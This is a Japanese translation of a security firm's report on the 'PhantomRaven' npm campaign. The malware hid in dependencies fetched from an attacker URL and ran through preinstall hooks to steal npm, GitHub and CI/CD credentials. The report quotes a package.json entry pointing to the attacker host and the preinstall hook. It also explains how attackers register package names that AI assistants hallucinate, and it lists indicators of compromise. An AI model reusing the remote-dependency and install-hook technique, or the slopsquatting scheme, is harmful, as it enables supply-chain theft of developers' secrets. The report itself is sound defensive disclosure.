126個の悪意あるnpmパッケージ。ダウンロード数は86,000件超。世界中の開発者からnpmトークン、GitHub認証情報、CI/CDシークレットを積極的に窃取していました。しかも、ほとんどのセキュリティツールが依存する依存関係解析からは検知できない形で、悪意あるコードを隠していたのです。
私たちはこのキャンペーンを「PhantomRaven」と名付けました。
発見の経緯
2025年10月、私たちのリスクエンジン「Wings」が奇妙な挙動を検知しました。インストール時に外部へネットワークリクエストを送信するパッケージ群があり、そのすべてが同一の不審なドメインへ通信していたのです。
糸をたどっていくと、8月から続いていたキャンペーンにたどり着きました。その規模は驚くべきもので、126個のパッケージが合計86,000件を超えるインストール数を記録していました。そのうち80個は依然として活動中で、世界中の開発者から静かに認証情報を収集し続けていました。規模の大きさも印象的でしたが、私たちが本当に注目したのは「どうやって」それを実現していたかという点です。これらのパッケージは、エコシステム内のほとんどのセキュリティツールから悪意あるコードを隠す方法を見つけ出していました。
タイムライン:
- 2025年8月:キャンペーン開始、最初のパッケージが公開
- 2025年8月:最初の21個のパッケージがnpmによって検知・削除
- 2025年9月〜10月:さらに80個のパッケージがアップロードされ、検知を回避
- 2025年10月:Koi Securityの行動監視によりキャンペーンを発見
これほど巧妙な手口にしては、攻撃者のインフラは驚くほど杜撰でした。フリーメールプロバイダーから連番のメールアカウントを使用しており、jpdtester01@hotmail[.]com、jpdtester02@outlook[.]comから、jpdtester13@gmail[.]comまで続いていました。ユーザー名もnpmhellやnpmpackagejpdといった具合で、明らかに同一人物が管理していることがうかがえます。
しかし、配布の仕組みは巧妙でした。

検知を逃れ続けた手口:リモート動的依存関係(RDD)
これらの悪意あるパッケージの一つをnpmで開き、ソースコードを確認すると、次のようなものが見つかります。
#!/usr/bin/env nodeconsole.log('Hello, world!');
これだけです。まったく無害な、単純なHello Worldスクリプトです。
では悪意あるコードはどこにあるのでしょうか。確認しているパッケージそのものには存在しません。インストール時に取得される、目に見えない依存関係の中に潜んでいるのです。
通常のnpm依存関係は次のような形をしています。
"dependencies": {
"express": "^4.18.0"}
しかし、npmはほとんどの開発者が使ったことのない機能も備えています。それが依存関係の指定にHTTP URLを使う方法です。
"dependencies": {
"ui-styles-pkg": "http://packages.storeartifact.com/npm/unused-imports"}
この種の依存関係を持つパッケージをインストールすると、npmはその外部URLから取得を行います。npmjs.comからではなく、攻撃者が指定した任意の場所からです。
しかも、npmjs.comはそうしたURLを追跡しません。セキュリティスキャナーもそれらを取得しません。依存関係解析ツールも無視します。あらゆる自動セキュリティシステムから見ると、これらのパッケージは「依存関係0件」と表示されるのです。

npmで確認できるパッケージ自体はクリーンで、中身は空、安全に見えます。
では悪意あるコードはどこにあるのか。それはpackages.storeartifact.comに置かれており、インストール時に取得されるのを待っているのです。
さらに悪いことに:ダウンロードされる内容を攻撃者が制御できる
誰かがnpm installを実行するたびに、この依存関係は攻撃者のサーバーから毎回新規に取得されます。キャッシュされず、バージョン固定もされず、ロックもされていません。常に最新の状態で取得されるのです。
攻撃者はこのサーバーを制御しています。つまり、誰がインストールしているかに応じて、配布するコードを決めることができるのです。
これにより高度な標的型攻撃が可能になります。理論上、攻撃者はすべてのリクエストのIPアドレスを確認し、異なるペイロードを配信できます。VPN経由のセキュリティ研究者には無害なコードを、企業ネットワークには悪意あるコードを、クラウド環境には専用のペイロードを、といった具合です。あるいは長期戦を仕掛けることも可能です。数週間はクリーンなコードを返して信頼を構築しセキュリティスキャンを通過させ、ある時点でスイッチを切り替えて悪意あるバージョンの配信を始める、というものです。
自動実行という問題
しかし、依存関係に悪意あるコードが存在するだけでは不十分で、それが実行される必要があります。そしてnpmはそれを自動的に行ってしまうのです。
npm installを実行すると、npmは単にパッケージをダウンロードするだけではありません。コードを実行するのです。具体的には、package.jsonで定義されたライフサイクルスクリプト、すなわちpreinstall、install、postinstallフックを実行します。
RDD経由で取得された悪意あるパッケージには、次のような記述があります。
"scripts": {
"preinstall": "node index.js"}
このpreinstallスクリプトは自動的に実行されます。確認ダイアログもなく、警告もなく、ユーザーの操作も一切必要ありません。
そして、このパッケージが依存関係ツリーのどれだけ深い階層にあるかは関係ありません。あるパッケージが別のパッケージに依存し、そのパッケージがさらに悪意あるpreinstallスクリプトを持つパッケージに依存している場合でも、そのコードは自動的にマシン上で実行されてしまいます。
攻撃チェーンの全体像は以下の通りです。
- 開発者がnpmで一見クリーンに見えるパッケージをインストールする
- npmが攻撃者のサーバーから見えないRDDを取得する
- 悪意あるパッケージがpreinstallスクリプトとともに到着する
- npmがインストール完了前に自動的にnode index.jsを実行する
- マルウェアが動き出す
これらすべてが、npm installの完了に要するわずか数秒の間に起こります。
PhantomRavenが実際に行うこと
RDDの手法を通じてインストールされると、PhantomRavenは活動を開始します。その目的は控えめなものではなく、認証情報、環境情報、あらゆるものを狙っています。
あらゆる場所からメールアドレスを探索
まず、攻撃者はターゲットが誰であるかを知る必要があります。このマルウェアは、開発環境全体を系統的に検索し、メールアドレスを探し出します。

環境変数、.gitconfig、.npmrc、さらにはpackage.jsonのauthorフィールドまで確認します。メールアドレスが隠れている可能性のあるあらゆる場所を調べ尽くすのです。
厄介ではありますが、メールアドレスの収集だけならそれほど恐ろしいものではありません。
次に狙われるのはCI/CD環境全体
攻撃者はインフラに関するあらゆる情報を求めています。

GitHub Actionsトークンはリポジトリとワークフローへの直接アクセスを可能にします。GitLab CI認証情報はプロジェクトへのアクセスとパイプラインの制御を可能にします。Jenkins認証情報はビルドサーバーへのアクセスとデプロイ機能を可能にします。CircleCIトークンはプロジェクトのビルドとデプロイキーへのアクセスを可能にします。npm認証トークンは、維持しているあらゆるパッケージに悪意あるアップデートを公開する能力を攻撃者に与えます。
さらにシステム全体のフィンガープリンティングも
マルウェアは認証情報の収集だけにとどまりません。開発環境全体のプロファイルを構築するのです。

外部サービスから取得したパブリックIP、ホスト名、OSの詳細、ローカルIP、ユーザー名、カレントディレクトリ、Node.jsのバージョンなど、侵害したシステムがどのようなものか、どれほど価値があるかを把握するのに役立つあらゆる情報を集めます。
企業ネットワークであれば高価値の標的であり、クラウドCI/CDパイプラインであれば大当たり、開発者のノートPCであれば他のあらゆるものへの侵入口となります。
そして最後に、データの持ち出しを確実にする
データの持ち出し(exfiltration)は、偏執的とも言えるほど冗長な手段が用いられています。

まず、収集したすべてのデータをURLにエンコードしたHTTP GETリクエストを送信します。次に、同じデータをJSON形式にしたHTTP POSTリクエストを送信します。それらが両方とも失敗した場合は、バックアップサーバーへのWebSocket接続を試みます。
強固なファイアウォールを備えた制限的なネットワーク環境であっても、データを外部へ持ち出すことができるのです。
スロップスクワッティング:AIを悪用したパッケージ名攻撃
PhantomRavenで使われているパッケージ名は、ランダムなタイポスクワット(打ち間違いを狙った偽装)ではありません。新たな脆弱性、すなわちLLMのハルシネーション(幻覚)を悪用するために、慎重に選ばれたものです。
開発者がGitHub CopilotやChatGPTといったAIアシスタントにパッケージの推薦を求めると、モデルは時折、実際には存在しないもっともらしい名前のパッケージを提案することがあります。PhantomRavenは、まさにそうした存在しないパッケージ名を先回りして作成していたのです。
このように、AIのハルシネーションを悪用して悪意あるパッケージを登録する攻撃手法を、私たちは「スロップスクワッティング(slopsquatting)」と呼んでいます。
具体例:
- eslint-comments → 正規のパッケージ:eslint-plugin-eslint-comments
- transform-react-remove-prop-types → 正規のパッケージ:babel-plugin-transform-react-remove-prop-types
- unused-imports → 正規のパッケージ:eslint-plugin-unused-imports
これらの名前には、次のような特徴があります。
- AIが提案しそうなほど、正規のパッケージ名に近い
- 既存パッケージへの直接的なタイポスクワットにはならない程度に異なっている
- 開発者がすぐには疑わないほど、もっともらしい
AIアシスタントは「eslint-plugin-unused-imports」のよりシンプルな代替として「unused-imports」を提案するかもしれません。開発者はAIの推薦を信頼し、深く考えずにそれをインストールしてしまいます。
これは理論上の話ではありません。実際に、PhantomRavenのマルウェアを依存関係として含むパッケージが実環境で見つかっています。AIの推薦に基づいてこれらのパッケージをインストールした被害者たちは、自分のシステムを危険にさらしていることにまったく気づいていませんでした。
まとめ
本調査はKoi Securityのチームによって実施されたもので、好奇心とオープンソースエコシステムのセキュリティへの懸念の両方が原動力となっています。
PhantomRavenは、攻撃者が従来のセキュリティツールの死角をいかに巧妙に突いてくるかを示しています。リモート動的依存関係(Remote Dynamic Dependencies)は静的解析では検知できません。AIのハルシネーションは、開発者が信頼してしまうもっともらしいパッケージ名を生み出します。そしてライフサイクルスクリプトは、ユーザーの操作なしに自動的に実行されます。
これらは理論上の脆弱性ではなく、現在進行形で数千人の開発者に影響を及ぼしている実際の攻撃手法です。
私たちはまさにこの問題に対処するためにKoiを開発しました。私たちのリスクエンジンは、パッケージが何であると主張しているかを解析するだけではありません。実際にパッケージを実行し、その挙動を観察するのです。インストール中のネットワークリクエスト、ファイルシステムへのアクセスパターン、静的解析では捉えられない異常な挙動まで見逃しません。
Koiはフォーチュン50企業や世界有数のテック企業から信頼を得ており、npm、PyPI、VS Code拡張機能、Chrome拡張機能など、パッケージエコシステム全体にわたってリアルタイムのリスクスコアリングとガバナンスを提供しています。
デモを予約することで、私たちのリスクエンジンが従来のセキュリティツールをすり抜ける攻撃をどのように検知するかをご覧いただけます。
どのセキュリティスキャンにも表示されない依存関係にマルウェアが隠れうる以上、パッケージが「何であると主張しているか」だけでなく「実際に何をしているか」を監視するツールが必要なのです。
どうかご安全に。
IOC(侵害指標)
悪意あるインフラ:
- packages.storeartifact.com
- 54.173.15.59
- データ持ち出し用エンドポイント:jpd.php
侵害されたパッケージ:
fq-ui, mocha-no-only, ft-flow, ul-inline, jest-hoist, jfrog-npm-actions-example, @acme-types/acme-package, react-web-api, mourner, unused-imports, jira-ticket-todo-comment, polyfill-corejs3, polyfill-regenerator, @aio-commerce-sdk/config-tsdown, @aio-commerce-sdk/config-typedoc, @aio-commerce-sdk/config-typescript, @aio-commerce-sdk/config-vitest, powerbi-visuals-sunburst, @gitlab-lsp/pkg-1, @gitlab-lsp/pkg-2, @gitlab-lsp/workflow-api, @gitlab-test/bun-v1, @gitlab-test/npm-v10, @gitlab-test/pnpm-v9, @gitlab-test/yarn-v4, acme-package, add-module-exports, add-shopify-header, jsx-a11y, prefer-object-spread, preferred-import, durablefunctionsmonitor, durablefunctionsmonitor-vscodeext, durablefunctionsmonitor.react, e-voting-libraries-ui-kit, named-asset-import, chai-friendly, aikido-module, airbnb-babel, airbnb-base-hf, airbnb-base-typescript-prettier, airbnb-bev, airbnb-calendar, airbnb-opentracing-javascript, airbnb-scraper, airbnb-types, ais-sn-components, goji-js-org, google-cloud-functions-framework, chromestatus-openapi, elemefe, labelbox-custom-ui, rxjs-angular, @apache-felix/felix-antora-ui, @apache-netbeans/netbeans-antora-ui, syntax-dynamic-import, no-floating-promise, no-only-tests, @i22-td-smarthome/component-library, vuejs-accessibility, lfs-ui, react-async-component-lifecycle-hooks, eslint-comments, wdr-beam, lion-based-ui, lion-based-ui-labs, eslint-disable-next-line, eslint-github-bot, eslint-plugin-cli-microsoft365, eslint-plugin-custom-eslint-rules, @item-shop-data/client, @msdyn365-commerce-marketplace/address-extensions, @msdyn365-commerce-marketplace/tax-registration-numbers, artifactregistry-login, crowdstrike, wm-tests-helper, external-helpers, react-important-stuff, audio-game, faltest, only-warn, op-cli-installer, react-naming-convention, skyscanner-with-prettier, xo-form-components, xo-login-components, xo-page-components, xo-shipping-change, xo-shipping-options, xo-title, xo-tracking, xo-validation, badgekit-api-client, important-stuff, transform-es2015-modules-commonjs, transform-merge-sibling-variables, transform-react-constant-elements, transform-react-jsx-source, transform-react-remove-prop-types, transform-strict-mode, trezor-rollout, filename-rules, ing-web-es, inline-react-svg, ts-important-stuff, firefly-sdk-js, firefly-shared-js, zeus-me-ops-tool, zeus-mex-user-profile, ts-migrate-example, ts-react-important-stuff, zohocrm-nodejs-sdk-3.0, iot-cardboard-js, pensions-portals-fe, sort-class-members, sort-keys-fix, sort-keys-plus, flowtype-errors, twilio-react, twilio-ts, bernie-core, bernie-plugin-l10n, spaintest1, typescript-compat, typescript-sort-keys, uach-retrofill
攻撃者のインフラ:
フリーメールプロバイダーにまたがる連番のメールパターン:
- npmjjjj ([email protected])
- npmjpd2 ([email protected])
- npmtestdharsh ([email protected])
- npmtesthas1 ([email protected])
- packagejpd ([email protected])
- npmhell ([email protected])
- npmpackagejpd ([email protected])
- onlynpmpackagejpd ([email protected])
- micropackage1 ([email protected])
- npmpackagejpd12 ([email protected])
- jpdhackerone11 ([email protected])
- jpd12 ([email protected])
- packagedharsh ([email protected])
- jpd13 ([email protected])
翻訳元: https://www.koi.ai/blog/phantomraven-npm-malware-hidden-in-invisible-dependencies